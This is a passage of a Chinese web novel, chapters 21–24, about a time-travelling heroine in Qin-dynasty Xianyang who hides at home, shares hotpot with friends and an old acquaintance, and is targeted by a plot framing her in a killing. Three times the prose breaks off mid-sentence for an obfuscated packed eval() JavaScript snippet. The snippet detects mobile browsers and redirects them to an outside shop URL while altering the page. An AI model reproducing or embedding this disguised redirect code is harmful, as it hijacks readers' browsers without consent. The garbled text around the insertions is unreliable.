室内的两人相互对望,椿儿轻声问道,“我们是不是让阿姊伤心了?”阿九没有回应,只是凝视着窗外密布的夜色。 21. 闭户 翌日,桑语起了个早床,到商坊里吃了一大碗热气腾腾的锅盔羊肉,认真地听了几句闲谈,随后便踏上通往太卜署的路途,准备应卯。 然而,她刚刚走到太卜署门前时,一名身着黑袍的男子便挡住了她的去路。 桑语对此人并不陌生,她第一次踏入太卜署时,也是他拦住了她。因此,桑语有些没好气地道:“怎么?今日又打算以何事试我?” 男子沉声而应:“非也,此次乃是奉师父之命,有口信需传于你。” “师父?你说的是太卜令?” 男子颔首道:“师父说,请桑山主近日勿至太卜署,最好是闭门不出。” 桑语的眼中闪过一丝迷茫,她踮足向署内张望,而男子并未对此进行干预。她心中清楚,即使此刻太卜令在署中,也极可能是在五楼,她难以直接询问什么。 “好,既然太卜令如此叮嘱,我会好好听他的话。”说罢,桑语作势转身就要走。 男子见桑语是这般的态度,反而显得有些意外,“你不问原因吗?” 桑语轻描淡写地反问:“我若问你,你会如实相告吗?” 男子坦诚地摇了摇头,“师父不让我说。” 桑语笑了笑,道:“这位大人,既然你我已是同僚,我还未曾询问您的尊姓大名呢。” “项福。”男子回答道。 “项福?享福!”桑语轻声重复着,“真是个好寓意!既然你师父的叮嘱你已经传达给我了,那我就不再打扰你们了。告辞!” 桑语走出几步后,忽然停下脚步,抬首仰望。五楼之上,老太卜正静默地凝视着她。桑语恭敬地行了一揖,随后便转身离去。 她直接回到小院,却意外地发现家中竟然空无一人。桑语心中骤然涌起一股不安,她急忙四处寻找,只见屋内屋外并无打斗的痕迹,窗户旁也未发现任何异常之物,但也没有看到那三人的身影。 往日里,她们四人总是行事谨慎,绝不会同时全部外出,必有一人留守家中。 正当桑语急得团团转时,身后陡然传来一声关切的询问,“阿姊,你在找什么?”她急忙转身,只见迟迟正站在她的身后。 桑语先是一惊,随即才松了口气。她问道:“椿儿和阿九呢?她们没有和你在一起吗?” 迟迟还未来得及回答,桑语却误解了,她手扶着腰,有些生气:“我知道,昨日我离去时未曾告知你们,让你们担心了,这是我的疏忽。但你们也不至于用同样的方式让我担心吧。” “不是的,阿姊,你误会了!”迟迟急忙解释,声音里带着一丝急切,“椿儿听说蒙骜将军回来了,她知道阿姊久仰蒙家军之雄风,于是就带着九姊去预定酒肆的位置了。她们让我去太卜署找你,但你没在那里。后来,有位大人告诉我你回来了,所以我才匆匆赶回来。” “啊,是这样啊。”桑语有些尴尬地笑了笑,不自觉地抓了抓自己的头发,“你等我一会儿,我去换身衣裳。” 她身上现在所穿的是官服,显然不适合去酒肆。桑语很快便换上了一身素净的直裾,与迟迟一同出了门。 迟迟话中所提及的“酒肆”,正是桑语与阿九看王翦率军凯旋的地方。然而此次并非之前的那个房间,但也足以看见楼下行人之往来。 桑语刚落座,便觉得椿儿热情得令人生疑。她接过酒觞,送至嘴边,却又突然拿远,“你们是不是惹了什么祸?” 椿儿脸上笑意盈盈,她拉着阿九在桑语身边坐下,柔声说道:“阿姊,昨日是我们不对,惹你生气了。今日这些,就当作是我们的道歉吧。” 桑语闻言,将觞中酒一饮而尽,“你们的美酒,我喝下了!但是有一事,我得说明!我并不是生气,只是这两日来未能得以安宁休憩,实在是有些累乏。” 椿儿与阿九交换了一个眼神,随即阿九站起身来,恭敬地向桑语抱拳施礼:“阿姊宽宏大量,不与阿九计较,然阿九自知的确有错。恳请阿姊赐予责罚!” 桑语沉默着,只是自顾自地将琼浆倾注于酒觞中,细细品味,缓缓啜饮。气氛有些微妙,三人目光交错,皆难以捉摸桑语心中所想。 桑语轻叹一声,再次将酒觞轻轻放下,款步而起。她握住阿九的手,缓缓说道:“此事并非谁对谁错之辩,每个人审视问题皆有各自的视角与立场。然而阿九,偶尔转换心境,尝试以他人之眼审视世事,或许那些心中的结,便能迎刃而解。” 阿九认真理解着这番话,郑重其事地点头说道:“阿姊的教诲,我必铭记于心。” “错了!”桑语莞尔一笑。 阿九愕然,疑惑地凝视着桑语,不解其意。 桑语轻挑眉梢,悠然说道:“我说的话,就一定是对的吗?阿九,我非圣贤,岂能无过!所以,你不用觉得你的想法就是错的。” 阿九垂下眼眸,似乎在认真思考这个问题。 桑语继续道:“你所担忧的,的确是眼下存在的问题。我其实应该谢谢你提醒了我。” “啊?”椿儿惊讶地出声。 桑语的余光扫过迟迟,“你们乃我生死与共之友,尚且有那样的猜测,更遑论咸阳城中的那些陌生人呢。”她说着,又坐了下来,“你们让迟迟去太卜署寻我时,我已经回家了。至于其中原因,我原本也打算告诉你们的,现在说也正是时候。” 椿儿向来是个急性子,桑语话音刚落,她就问道:“阿姊,是不是出了什么事儿?” 桑语摇摇头,“我也并不知道是何事。我刚到太卜署,就被人拦下了。那人告诉我最近不要去太卜署,甚至建议我暂时闭门不出。他还说,这些都是太卜令的意思。” 三人听罢,脸色齐变。迟迟问道:“可是阿姊现在出门了呀,会不会给阿姊带来不测?” 椿儿沉声道:“若论武功,整个中原,恐怕都没有阿姊的对手。然而,太卜令拥有预见未来的能力,既然他有此警告,阿姊,我们不得不防。” 桑语又叹了口气。她自从来到这个时代之后,别的方面没有任何长进,唯独叹气的习惯是愈发严重了。 “椿儿说得没错,若是有人想要用武器杀我,我倒也不担心。但是藏于暗处的口舌之祸,恐怕是我难以躲避的。” “口舌之祸?”迟迟好奇地追问,“阿姊一向行事光明磊落,怎会招惹来口舌之灾呢?” 桑语轻啜一口佳酿,淡然道:“想要挑出一个人的毛病,就连他吃饭时用的是左手还是右手,都可以成为计较之由。” 桑语正欲岔开话题,忽然听到楼下人声鼎沸。 四人齐齐起身走至窗边,推窗望去,只见蒙家军雄姿英发,凯旋咸阳。 在队伍前列的战车之上,站着三个男子,皆是气宇轩昂。为首的老者,正是蒙骜。岁月在他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163475|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上刻下了深深的痕迹,每一条皱纹都似乎在诉说着属于他的沙场荣耀。尽管时光让他衰老了,他的气场依旧锋利无匹,犹如刚刚出鞘的利剑。 居于左侧的,是位中年男子,是蒙骜之子蒙武。他常年随父征战,身材魁梧,面容严肃,目光坚毅。而居于右侧的,则是一位年轻人,应该就是蒙恬。 桑语打量着蒙恬,心中不禁泛起一阵微妙的兴奋。她在现代时,就听说过蒙恬与蒙毅的大名。后来她率众增援咸阳时,在城门口迎接她们的,正是蒙毅。而今日,她终于见到了蒙恬。这趟穿越之行,虽然又累又苦,但是能够亲眼看见这些大名鼎鼎的传奇人物,也真是一份难得的幸运啊。 蒙氏兄弟二人,如今正是青春年少意气风发。蒙恬身材挺秀,皮肤白皙,从容稳重而又徇徇儒雅。他貌似书生,却生成一身好气力。蒙毅较他年少几岁,身高上却高出了些许,皮肤微有些黑。蒙毅的武艺非凡,常随侍秦王政左右,是位不可多得的忠勇之臣。 椿儿忽然轻笑了一声,打断了桑语的遐想。桑语疑惑地望向椿儿,“你笑什么?” 椿儿俏皮地一指队伍中的一位小将士,“阿姊,你看那边,竟有位女子呢!” 桑语顺着椿儿的目光望去,只见那小将士虽身披铠甲,却难掩其秀气之姿。她女扮男装的技巧确是巧妙至极。若不是椿儿眼光独到,能一眼洞察,那位英姿飒爽的女子便是从桑语眼皮底下溜过,而桑语也定然无从察觉。 “迟迟,你们秦国,女子亦能挂甲执兵?”桑语好奇地问道。 迟迟回答:“确有其事。然而,虽能入军营,却不得赴疆场。” 桑语闻言,目光再次掠过那名女子,似是穿越了时空的隔阂,见到了古时隐藏于史册之间的“花木兰”,不禁生出几分敬佩。她对这个不知名的女子生出了浓厚的兴趣。但转念一想,不过是萍水相逢,恐怕不会有再见之时,心中又不免涌上一丝遗憾。 蒙家军远去了,椿儿合上窗,众人这才重新落座。 桌上的佳肴已经齐备,香气四溢。椿儿夹起一片香嫩的羊肉,放入桑语碗中,“听说这家酒肆的羊肉乃是一绝,阿姊,你一定要尝尝。” 桑语仿佛没有听到,只是咀嚼着烤饼。待椿儿连唤数声后,她才恍若梦醒,抬眼问道:“啊?你在和我说话吗?” 椿儿含笑点头:“我刚才说,阿姊,快些用饭吧。毕竟,这顿饭是出自你的腰包。” 桑语拿起筷子,夹起碗中的羊肉,放入口中细嚼。随即连连点头,赞叹不已。 椿儿和阿九都察觉到桑语心事重重,但她们并没有过多询问。 桑语嘴里嚼着饭菜,思绪却又不由自主地飘远了。前几日,她听寺人巽提到,秦王政会亲自迎接蒙骜将军。然而今日,她并未看到秦王政的身影。想到昨日他急匆匆地离去,桑语难免有些担忧。 胡思乱想中,桑语不慎咬伤了自己的舌头,一阵剧痛使她猛地一颤。 她甩了甩脑子,试图驱散心头那无谓的忧虑。秦王政来或者不来,与她又有何干?眼下她自己或许都正处于一团乱麻之中,她还是担心担心自己吧。 桑语将陶碗搁下,郑重地道:“吃完了饭,我们便去采购一些所需之物。过完年之前,我都不打算出门了!” 外面的风雨,她惹不起,那就躲着吧。当缩头乌龟虽然不大光彩,但是有用啊! 22. 火锅 桑语托疾不出,未几,腊祭之期至。 在农耕时代里,这是人们最期盼的日子。冬尽春回的农闲时分,辛劳耕作了一年的人们,终得片刻之休憩。一年之间所积累之欢欣与盼望,至此几日,皆得以畅情宣泄。人们欢聚在一起,尽情玩闹。 腊祭庆典之源流,可溯至远古的尧舜年间,起初于每年的十月举行,后因历法更迭,改至十二月,亦谓之“蜡祭”。于斯日也,人们以“蜡祭”来祭祀被称为“八神”的各方神灵,向他们表示感谢,且为来岁祈风调雨顺。 椿儿三人毕竟青春年少,外面的热闹声音轻易地勾起了她们的玩心。桑语兴趣缺缺,但还是鼓励她们出去感受庆典的欢乐。 然而,她们三人以天气寒冷作为理由,拒绝了这个提议。桑语心知肚明,她们真正的担忧是怕给她惹上不必要的麻烦。 临近正午时分,桑语悄无声息地溜进庖厨,仔细地把门闩上。不到片刻,她便手捧铜釜走了出来。一股浓郁的香气很快在小院中弥漫,引得椿儿好奇地凑过来嗅了嗅,“阿姊,这是什么汤?我从未闻到过这样的味道!” 桑语神秘地一笑,“你待会儿就知道了!拿这汤涮东西吃,可香可香了!”听到这话,阿九和迟迟都忍不住围了过来,皆是好奇地打量着那正冒着热气的铜釜。 桑语安排道:“庖厨里有几个用竹篾编制的小盘子,椿儿,迟迟,麻烦你们去将它们端出来吧。阿九,你来帮我架火堆。” 椿儿与迟迟闻命即动,款步厨中,很快就找到了桑语所说的竹盘。这些竹盘编织得十分精致,拿在手里轻巧而坚固。盘中所陈,既有新鲜的蔬菜,也有几样肉类。 迟迟一手端着一个竹盘,凑近椿儿说道:“你们与阿姊相处已久,真的不认识这些东西吗?” 椿儿摇摇头,“你在咸阳,听说过关于阿姊的传说吗?” “陆陆续续,听说过一些。” 椿儿的目光穿过庖厨的门槛,投向小院之中。阿九抱来了几束松柏之枝,她在地上稳固地放置了三块石头,然后将松柏枝条交错堆叠于其中。接着,她取出火石,轻擦之间,便引燃了树枝。与此同时,桑语正忙着用铁链将一只铜釜稳妥地悬挂在逐渐旺盛的火堆之上。 椿儿回首,目光凝重,对迟迟郑重嘱托道:“阿姊并非什么‘玄女’再世,那都是以讹传讹的说法。但是,阿姊的确拥有许多不为人知的秘密。她如此用心地为我们准备了这些前所未见的佳肴,足以证明她对我们三人并无戒备之心。所以,迟迟,你今日所见所闻,都不要对外人提起。” 迟迟听后,郑重地点了点头。“阿姊愿意信任我,这是我的福气!我一定不会让任何人伤害她。” 椿儿微微一笑,“走吧!这汤的香味是愈发浓郁了,我都闻饿了!” 在先秦时期,西域之路尚未开通,辣椒等食材尚未传入中原,故时人所能享用之佳肴,味道颇为单一。再者,汉代虽已步入“铁器时代”,然铁锅却非户户皆备,直至宋代,其使用方渐普及。故此,战国之时,蒸与煮乃最常见的烹饪手法。 古语说得好,巧妇难为无米之炊。桑语带来了现代的“火锅底料”,但是实在无法带来新鲜的蔬菜。她腕间的木珠手串,是她所处的时代里最尖端的科技,能纳百物于其中,然而可惜的是,没有保鲜功能。 桑语只能让阿九上街买了几样时令蔬菜,还买了些许羊肉和猪肉。冬季菜价贵,能买到的种类也非常有限,但是桑语已经心满意足了。 她从卧房中搬出了几个木凳,转身又去了庖厨,拿出一只小陶罐。 “这……那……”迟迟脸上的惊讶已经无法用言语形容了,但是看椿儿与阿九皆显从容,于是将满腹之言深藏于心,学着椿儿的样子在木凳上坐下。 虽然有些不习惯,可是这样坐着的确比跪坐舒服许多。 桑语揭开了陶罐上的盖子,香味瞬间像是被解除了封印一般,张牙舞爪地钻进众人的鼻翼里。 桑语摆开四个陶碗,用小铜勺将陶罐中的芝麻酱盛到碗中。 前一阵,她爱往商坊里闲逛,某日偶遇了一位胡商,原本是打算问问有没有葡萄酒卖,无意中看到了一麻袋的芝麻。中原人暂且不习惯于食用芝麻,因此桑语得以用比较实惠的价格将芝麻全部买了回来。 想着年关将至,桑语计划着给大家一个惊喜。于是又偷偷买了个石磨,将它藏在庖厨后的草垛中。每到夜深人静,大家都入睡了之后,她才蹑手蹑脚地起来磨芝麻。 虽然火锅蘸料的配方无法在这个时代里完全重现,但她成功找到了替代品。 通过添加肉醢和醋,再加入花椒油,她复原了部分风味。然而遗憾的是,根据历史记载,在唐朝之后,花生才被引入中原。桑语曾想再去问问那个胡商,看看能否找到花生。但是既然太卜令有了那般的提醒,她也就不想出门了。 她本想亲自前往祝贺苍鹘女儿的及笄之喜,但最终还是决定让椿儿和迟迟代她送去一份礼物。 铜釜里的红汤早已翻滚沸腾。桑语轻巧地运用她那双自制的竹筷,从竹盘中夹起一片鲜嫩的羊肉,轻轻放入红汤中。在周围人满怀期待的目光注视下,她熟练地将羊肉提起,置于碗内。这双竹筷虽略显粗糙而笨长,但用起来却极为顺手。 随后,桑语再次拿起一副新的筷箸,细致地在碗中翻动着羊肉,使其均匀裹上一层醇厚的麻酱,然后送入口中美滋滋地咀嚼。 “嗯~有那味儿了!”桑语满意地竖起大拇指,接着将整盘羊肉倾倒入那热气腾腾的铜釜之中,“你们快吃吧,肉煮老了,就不好吃了!” 椿儿率先从铜釜中捞起一片羊肉,学着桑语的动作,同样长长地“嗯”了一声。她双眼闪烁着兴奋的光芒,“阿姊,我从未吃过如此爽口的羊肉!就是,就是有些辣!” “没事,多吃几口,你们就会习惯这个味道的!” 桑语说着说着,忽然有些心疼。她的手串里,就这么一袋火锅底料。所以她一直舍不得用,毕竟这又不是什么可再生资源。科研组给她准备的,尽是些保命的压缩饼干,数量还不怎么多。至于这包火锅底料,是怪老头偷偷放进去的。 这边大家正吃得正开心,院门忽然被敲响了,众人顿时紧张起来。阿九放下手中的碗筷,自告奋勇道:“我去开门!” 铜釜实在太显眼,想要藏也是藏不住了。椿儿起身,将水缸上的盖子挪开,然后将它搬来盖在铜釜上。由于盖子比釜口大,看起来颇有些滑稽。 阿九半掩着门,正与来者说话。但因为隔得有点远,桑语她们无法听清。不久,阿九转身回来,面露难色看着桑语,似乎有什么难以启齿的事。 “怎么了?是谁来了?”桑语问道。 “阿姊,他说他是吕不韦的儿子,你是否要见他?” 这话问得有点儿莫名的奇怪,桑语遂追问道:“吕不韦的儿子?你先前见过他吗?” 阿九没有直接回答,而是在竹凳上重新坐下,别过脸去,“阿姊,你自己去看吧!” 桑语愈发觉得奇怪了,她很肯定,玄女山从未与吕不韦的儿子有过任何往来。但看阿九的反应,来人似乎是一个旧相识。 桑语整理了一下衣摆上的褶皱,这才往院门处去。 仅仅一眼,她便了然了。 那位倚门而立的人,她的确很熟悉,或者可以说,整个玄女山的人都对他不陌生。 桑语轻哼一声,“吕不韦的儿子,什么时候姓姜了?” 吕思远厚着脸皮钻进院中,“我阿母姓姜,我怎么不能姓姜呢!”他走到铜釜前,猛吸一口气,“真香啊!看来我来得正是时候!” 他将手中拎着的酒坛搁下,阿九却迅速按住了铜釜上的盖子。 椿儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163476|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸色也沉了下来,“吕大公子?你是否应该解释一下,这究竟是什么意思!” 吕思远仍旧挂着一脸嬉笑,仿佛丝毫没有觉察到身边几个女子的怒气。他蹲下身,屈指敲了敲一只木凳,“这是谁做的?阿桑,是不是你!” 桑语翻了个白眼,并没有理他。 吕思远依旧自顾自地说道:“看样子,你偷师的成果倒是不错!然而,还是比不上我。”他并未询问是否有多余的凳子,便直接盘腿坐下,“有碗筷吗?我还没用过早饭呢!” 突然间,一片阴影覆盖了下来,吕思远立刻抬手护住了自己的脸,“打人不打脸!”然而,想象中的巴掌并未落下,反而是被人揪着衣领拉了起来。 “阿九,去屋里拿个木凳出来。迟迟,你去拿些碗筷!” 听见桑语如此交代,椿儿便将铜釜上的盖子揭开了,一股热气瞬间腾上来。桑语抱起陶罐,拿小铜勺舀了一碗芝麻酱,头也不抬地问道:“说吧,你到底是什么名字。” “思远。无思远人,劳心怛怛。”吕思远将酒坛子递给桑语面前,“岁聿云暮,转眼新年。闻君染疾,特来探视,并祝新年之禧!” 桑语的目光自酒坛上缓缓移至吕思远的面庞,“听闻我染疾,便提酒来访?你这是打算提前吃席?” “阿桑,你我可是故交,我还不了解你吗!”吕思远挤眉弄眼地说着,他将酒坛打开,酒液紫红透明,是西域的葡萄酒。 迟迟小心翼翼地端着一叠陶碗出来了。吕思远伸手接过,一一摆开。他将几碗酒斟满,随后举起一碗,缓缓开口道:“离别已久,今朝重逢,甚欢。昔日有所得罪,望诸君恕罪。” 为表歉意,他准备一饮而尽。 桑语俯身端起一碗酒,皮笑肉不笑,“我是一直好奇呢,冯去疾所献的布防图,怎么那么详细准确。原来,潜伏于玄女山之人,正是你啊,吕公子!” 吕思远顿时咳嗽连连,急忙辩解道:“阿桑,容我一言,我此举实乃有不得已之苦衷啊!” 桑语抬起手来打断他,“你不用解释了,我本来也没有让阿五追查谁是奸细。如今你既已自曝身份,此事就此过去吧。” “阿桑……”吕思远小声嘟囔,“不要一口一个奸细嘛,多生分。” 椿儿冷笑道,“既然做了,还怕人说?我先前只听人说‘书读到狗肚子里’,如今一见吕公子,才知道这是真有其事。” 吕思远倒也不气,笑眯眯地说道:“那是因为你见的人太少了……” “好了!”桑语嫌他俩吵,“吕思远,既然来了,就坐下来一起吃饭吧!但是,请闭上你的嘴!” “闭上嘴了,还怎么吃啊!用鼻孔吗?”吕思远梗着脖子说道,见桑语作势要揍他,他立刻老实乖巧地坐下。 吕思远倒也不客气,尝了一口蔬菜之后,筷子几乎未曾停歇。桑语终究是忍不住说道:“你这个家伙,吃白食还这么不客气!” 吕思远将嘴里的食物咽下,用帕子稍微擦拭过嘴巴之后,侧身看向桑语:“我还以为你真的是闭门养病啊,原来是在捣鼓如此美食。阿桑,你太不够意思了!当初在玄女山时,为何藏着掖着?” 桑语淡淡地看了他一眼,“就这么一餐,以前没有,日后也没有了!” 刚说完,吕思远从她的碗里抢走一片蘑菇,得意地嚼嚼嚼。 桑语也不客气地踹了他一脚,只不过这次被他躲过去了。 “你最近真的没有外出吗?”吕思远忽然询问道。 桑语轻轻摇头,有些感慨,“以前可以随意到大街上溜达的时候,五六日转眼就过去了。如今活动范围受了限,感觉时间似乎变得漫长了。” “还是你这里好啊,能够远离尘嚣,不被外界纷扰所影响。”吕思远感叹一句,随即伸了个懒腰,“最近外面发生了许多事,嬴政他简直是焦头烂额。” 23. 密谋 “焦头烂额?秦王?”桑语斜了吕思远一眼,“你觉得,这两个词儿,放在一起,合适吗?” “嘿!你可不要不相信!”吕思远激动地挺起了肩膀,但随即又沉了下来,“罢了,我还是不说了,反正就算我说了,你也不会相信。” 桑语作势要抢他的碗,吕思远侧过身去,坚定地将碗筷护于胸前,“好,我说!我说!” 午后的阳光斜斜地洒落在院子里,吕思远抖了抖狐裘衣领上的枯叶,他转过脸来问桑语,“你之前是否与一男子有过言语冲突?” 桑语点了点头。 吕思远绷紧了脸,严肃地问道:“彼人已死,汝知乎?” “知道,但这与我有何干系?我与他争论时,他又没有死。”桑语脸色淡淡。 吕思远“啪”地一拍大腿,“原来你是真不知情!我还以为你是因此事而闭门不出呢!诶,我就说嘛,轻信谣言的人多可笑,你与他不过一面之缘,莫非他八十岁辞世,也要归咎于那天的争论。” 椿儿埋头笑出了声。 “闭门不出,是太卜令给的建议。”桑语歪着头看了吕思远一眼,“别说废话了,说重点!” 吕思远收起了玩笑之态,“此事背后,定是有人推波助澜。自那男子死后,城中便有谣言纷起,指你为凶手。此谣言散播之速,令人措手不及,秦王亦未能及时应对。” 桑语轻咬筷头,黑眸微垂。 难怪那日蒙骜率军回城之际,她未曾见到他亲往迎接,原来是因为这谣言。 吕思远见她依旧老神在在,不解地问道:“阿桑,你不生气吗?你分明是救人的人,在某些人的嘴里,却变成了取人性命的罪人!” 桑语抿了一口葡萄酒,语气颇为淡然:“为什么要生气?心若怀佛,眼界所及皆为佛;心若装秽物,目光所至尽显不洁。愿意相信你的,不需你自辩;不信者,多言无益,愈描愈糟。” 吕思远认真地问道:“佛,是什么?” 桑语倒酒的手顿住,“佛?人心吧。” 吕思远没有再继续这个话题。过节时谈论死人,也挺晦气的。铜釜里的肉又熟了,他再次埋头吃喝,恍惚间似乎听到一句:“他们想要针对的,不是我。” 吕思远一愣,嘴里的东西嚼都没嚼,直接咽下去,“啊?阿桑,你适才是在与我说话吗?” 桑语答非所问:“你可知,吕……你阿翁于城门之外悬挂《吕氏春秋》,以千金求‘一字师’之事?” “知道啊,我还去看了的。”吕思远摇摇头,一脸不以为然,“他是秦国的相邦,谁敢改动一二?哼,惺惺作态。” 桑语深深看了他一眼,起身说道:“酒喝完了,我去拿几坛新酒来。” 吕思远不明白桑语突然问起《吕氏春秋》是何意,他也不想多言关于吕不韦的事情。 他端起陶碗,呷了一口残酒,脑中忽有灵光一闪,目光惊愕地转向正抱着酒坛走出来的桑语。 若欲使一件事广为人知,便需有引人入胜之谈资。吕不韦大张旗鼓地以千金寻“一字之师”,其意在引起世人瞩目。真正杀害那名男子的凶手,他的目的并非是诋毁桑语,而是利用此事引发轩然大波。 玄女山的声望固若金汤,自会有义士挺身而出,为桑语辩护。随此风波,桑语涉嫌杀人的缘由将被广泛传播。至此,真相已非焦点,秦王的出身反成众议纷纷之核心。 吕思远抬头望向天空。太阳不知何时已经被聚拢的云层遮蔽了,光辉渐隐,仿佛被深邃的天幕所吞噬。 他不禁轻叹一声。 今年这个年关,恐怕难以安宁了。 日落时分,一位戴着面具的男子敲响了质子府的后门。 三长两短,少顷,一个少年人的脑袋从门缝中探了出来,将访客上下打量了一番,“公子有何贵干?” 男子没有言语,只是从怀中掏出一块木牌。少年人的目光落在兰花上,顿时神色一凛,迅速将木门敞开了一半,“我家主人已经等候您多时了,请跟我来。” 男子微微颔首,收好木牌。 少年人在前领路,穿过曲径通幽处,在一处书斋前停住脚步。他抬手叩门,同样是“三长两短”。随后,从屋内传来一道沉稳的声音,“进来吧。” 男子缓缓迈过门槛,踏入屋内。屋内未设火盆,寒气逼人,仿佛置身于冰窖之中。案后端坐一人,一身绿衣,约摸三十岁的年纪。在昏黄的烛火映照下,他的面庞显得异常苍白。 “齐人相瑾,见过公子。” 公子辰微微抬起那双细长而深邃的眼眸,淡淡地瞥了他一眼,目光随即又落回手中的竹简上。 “既然是来求我,就将脸上的面具摘了吧。” “诺!”相瑾伸手取下面具,露出那双桃花眼,“今日乃腊祭,公子府上为何如此冷清?” 公子辰闻言,冷笑一声,“身为质子,要什么热闹?活过今日,哪知明日是生是死。” 相瑾知道他心中有怨、有愁,于是直接步入主题。 “在下先前所说的合作,公子考虑得如何了?” 公子辰将竹简重重合上,随手往案上一扔。他的面上泛起一丝苦笑,“汝等难道不知我为何会被父王遣送至秦为质子?” “赵国欲重开合纵,父王初时心存疑虑,是我极力促成合纵。然,韩国损失甚巨。父王震怒,自是将此罪归咎于我。” 公子辰脸上露出了几分忿忿,但是稍纵即逝。身为质子,便如同棋盘上的一枚棋子,命运握于他人之手,终究与无奈和悲凉相伴。 相瑾忽然跪地,行了个稽首大礼。 公子辰不解,“你这是何意?” 相瑾向公子辰俯首伏地道:“公子乃抗秦义士,在下佩服之至。若六国之人皆有公子之志,暴秦必亡。” “你不必恭维我。”公子辰抬手一指,“起身,入座吧。” 待相瑾入座,公子辰倾身问道,“人,是你们杀的吧?” 虽未直接点明,相瑾自是心知肚明。 “依秦律,狱史本应立即审问桑语,但是秦王亲往官署,言明案发之时,桑语身处章台宫中,且有郎卫蒙毅可以作证。” “我原先还好奇,玄女山一向自诩不问七国纷争,怎么居然下山为秦国镇守城池,原来用的是‘美人计’啊。”公子辰说着,“嗤”地一笑,笑得异常讽刺。 相瑾抬眸看了他一眼,抿唇笑而不语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163477|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>公子辰继续问道:“接下来,你们准备如何?” 相瑾道:“很快,公子就会知道了。” 公子辰显然对相瑾这句话有些不悦,但不好表露得太明显。“我虽是公子成蟜的舅舅,但他为秦人,我为韩人。你们或许错算了,还是另觅高明吧。”说罢,一副要送客的架势。 相瑾幽幽说道:“秦王五年,韩王三十一年,公子成蟜出使韩国,不费一兵一卒,促使韩国献给秦国‘百里之地’,因功受封为长安君。彼时公子成蟜不过十五岁,就有如此辩才与胆量,岂不是更适合成为秦国之主?公子,您觉得呢?” 公子辰微垂了眼皮,思忖了良久,“我愿意与你们合作,但是你们需答应我一个条件。” 相瑾霍然起身拱手:“公子大义!待事成之后,吾等必助公子成大业!” 公子辰将手一抬,“你这话唐突了。我还有一事想问问你,你这一计,不怕得罪桑语,得罪玄女山吗?我可听说了,桑语非寻常人也。” “玄女山,本不足为惧。更何况,谋大事者,畏手畏脚,则最终一事无成。”相瑾长身而立,声音沉稳而冷峻。 公子辰手拍桌案,肃然起身,拊掌道了声“好”。 门外又响起了敲门声,少年人的声音传了进来,“公子,有人求见!” 公子辰、相瑾二人相视一眼,后者点了点头,闪身躲入黑暗之中。公子辰扬声说道:“请他进来吧!” 足足过了一盏茶的功夫,门声再次响动,进来一位粗壮汉子。 公子辰看去,目光落在此人两道漆黑的大眉上,“我瞧你面生得很,你是何人?” 来人抱拳道:“鄙人张尤!” 夜里刮起了风,风吹得树叶子簌簌地响,渐觉寒气骤加。 桑语抱着酒坛,已经喝得醉意朦胧。在意识模糊的边缘,她感受到有人轻柔地将她抱起。她勉强睁开了沉重的眼帘,月光模糊了容颜,但是他身上的味道好熟悉。 “姜辂!”桑语咧着嘴,傻笑了几声,挥动手拍打着他的肩膀,“你这小子,力气可不小啊!我以前怎么就没有看出来呢!还整天装文弱书生,大骗子!” “不用你,我自己会走。姜辂,放我下来!”桑语挣扎了几下,可是由于喝醉了酒的缘故,已经使不上什么力气。 或许是怕她摔了下去,扶在她腰上的手收紧了几分。 桑语觉得耳畔有心跳声,密急如擂鼓。她再次迷迷糊糊睁开眼,眼前重影叠叠。尽管她的意识模糊,但是也知道此处并非是她熟悉的现代。 她轻喟一声,“我这二十一年的生命里,战争与死亡,似乎是远在天边,只存在于历史的档案之中。可是这两年里,这两个词儿,突然变得好近好近,‘和平’反而变成了奢侈。师父,我累了,我想回家!”声音渐低,她终于睡着了。 男人小心地将她放在榻上,拉过被子盖在她的身上,动作很是轻柔。榻边的烛火摇摇晃晃,桑语那酡红的小脸时明时暗。 他静静地坐在榻边,垂眸看她良久。终于,他吹灭了灯烛,轻声离开房间。 男人轻车熟路地越墙而出,身形未稳,便听得身后传来一声戏谑:“君上,怎么学人家做梁上君子?” 24. 诡案 巷中幽暗,唯有吕思远手中的灯散发出的微弱光线。二人并肩而行,往宫城的方向走去。 吕思远笑说道:“阿桑她爱喝酒,但是不会喝酒。虽说她酒量不行,但酒品不错,喝醉了也不胡闹,倒头就睡,就是偶尔会说醉话。君上若是听见了什么稀奇古怪的话,不必放在心上。” 秦王政想起她醉酒的模样,脸上微微漾起笑:“寡人倒是觉得,酒后吐真言。只是……”她说的话,让他莫名觉得心揪成了一团。 她在醉酒间唤的是“师父”,说她想要回家。她是发自肺腑地孺慕着她的师父,却似乎从未提起过自己的父母。 所以,她和他是一样的吗? 被至亲所抛弃,只能学会自己舔舐痛苦。 